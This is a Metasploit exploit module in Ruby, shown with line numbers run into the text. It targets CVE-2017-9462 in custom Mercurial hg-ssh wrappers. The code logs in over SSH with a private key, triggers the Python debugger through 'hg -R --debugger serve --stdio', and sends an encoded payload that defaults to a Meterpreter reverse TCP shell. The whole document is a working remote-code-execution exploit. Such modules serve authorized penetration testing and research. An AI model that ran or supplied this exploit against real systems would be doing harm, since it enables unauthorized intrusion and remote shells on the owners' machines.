Path: blob/master/modules/exploits/linux/ssh/mercurial_ssh_exec.rb
27968 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::SSH910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Mercurial Custom hg-ssh Wrapper Remote Code Exec',15'Description' => %q{16This module takes advantage of custom hg-ssh wrapper implementations that don't17adequately validate parameters passed to the hg binary, allowing users to trigger a18Python Debugger session, which allows arbitrary Python code execution.19},20'License' => MSF_LICENSE,21'Author' => [22'claudijd',23],24'References' => [25[ 'CVE', '2017-9462' ],26[ 'URL', 'https://www.mercurial-scm.org/wiki/WhatsNew#Mercurial_4.1.3_.282017-4-18.29' ],27[ 'ATT&CK', Mitre::Attack::Technique::T1021_004_SSH ]28],29'DefaultOptions' => {30'Payload' => 'python/meterpreter/reverse_tcp'31},32'Platform' => ['python'],33'Arch' => ARCH_PYTHON,34'Targets' => [ ['Automatic', {}] ],35'Privileged' => false,36'DisclosureDate' => '2017-04-18',37'DefaultTarget' => 0,38'Notes' => {39'Stability' => [CRASH_SAFE],40'Reliability' => [REPEATABLE_SESSION],41'SideEffects' => []42}43)44)4546register_options(47[48Opt::RHOST(),49Opt::RPORT(22),50OptString.new('USERNAME', [ true, 'The username for authentication', 'root' ]),51OptPath.new('SSH_PRIV_KEY_FILE', [ true, 'The path to private key for ssh auth', '' ]),52]53)5455register_advanced_options(56[57OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),58OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])59]60)61end6263def rhost64datastore['RHOST']65end6667def rport68datastore['RPORT']69end7071def username72datastore['USERNAME']73end7475def ssh_priv_key76File.read(datastore['SSH_PRIV_KEY_FILE'])77end7879def exploit80ssh_options = ssh_client_defaults.merge({81auth_methods: ['publickey'],82key_data: [ ssh_priv_key ],83port: rport84})8586ssh_options.merge!(verbose: :debug) if datastore['SSH_DEBUG']8788print_status("#{rhost}:#{rport} - Attempting to login...")8990begin91ssh = nil92::Timeout.timeout(datastore['SSH_TIMEOUT']) do93ssh = Net::SSH.start(rhost, username, ssh_options)94end95rescue Rex::ConnectionError96return97rescue Net::SSH::Disconnect, ::EOFError98print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"99return100rescue ::Timeout::Error101print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"102return103rescue Net::SSH::AuthenticationFailed104print_error "#{rhost}:#{rport} SSH - Failed authentication due wrong credentials."105rescue Net::SSH::Exception => e106print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"107return108end109# rubocop:disable Lint/ShadowingOuterLocalVariable110if ssh111print_good('SSH connection is established.')112ssh.open_channel do |ch|113ch.exec 'hg -R --debugger serve --stdio' do |ch, _success|114ch.on_extended_data do |ch, _type, data|115if data.match(/entering debugger/)116print_good("Triggered Debugger (#{data})")117ch.send_data "#{payload.encoded}\n"118else119print_error("Unable to trigger debugger (#{data})")120end121end122end123end124# rubocop:enable Lint/ShadowingOuterLocalVariable125begin126ssh.loop unless session_created?127rescue Errno::EBADF => e128elog(e)129end130end131end132end133134135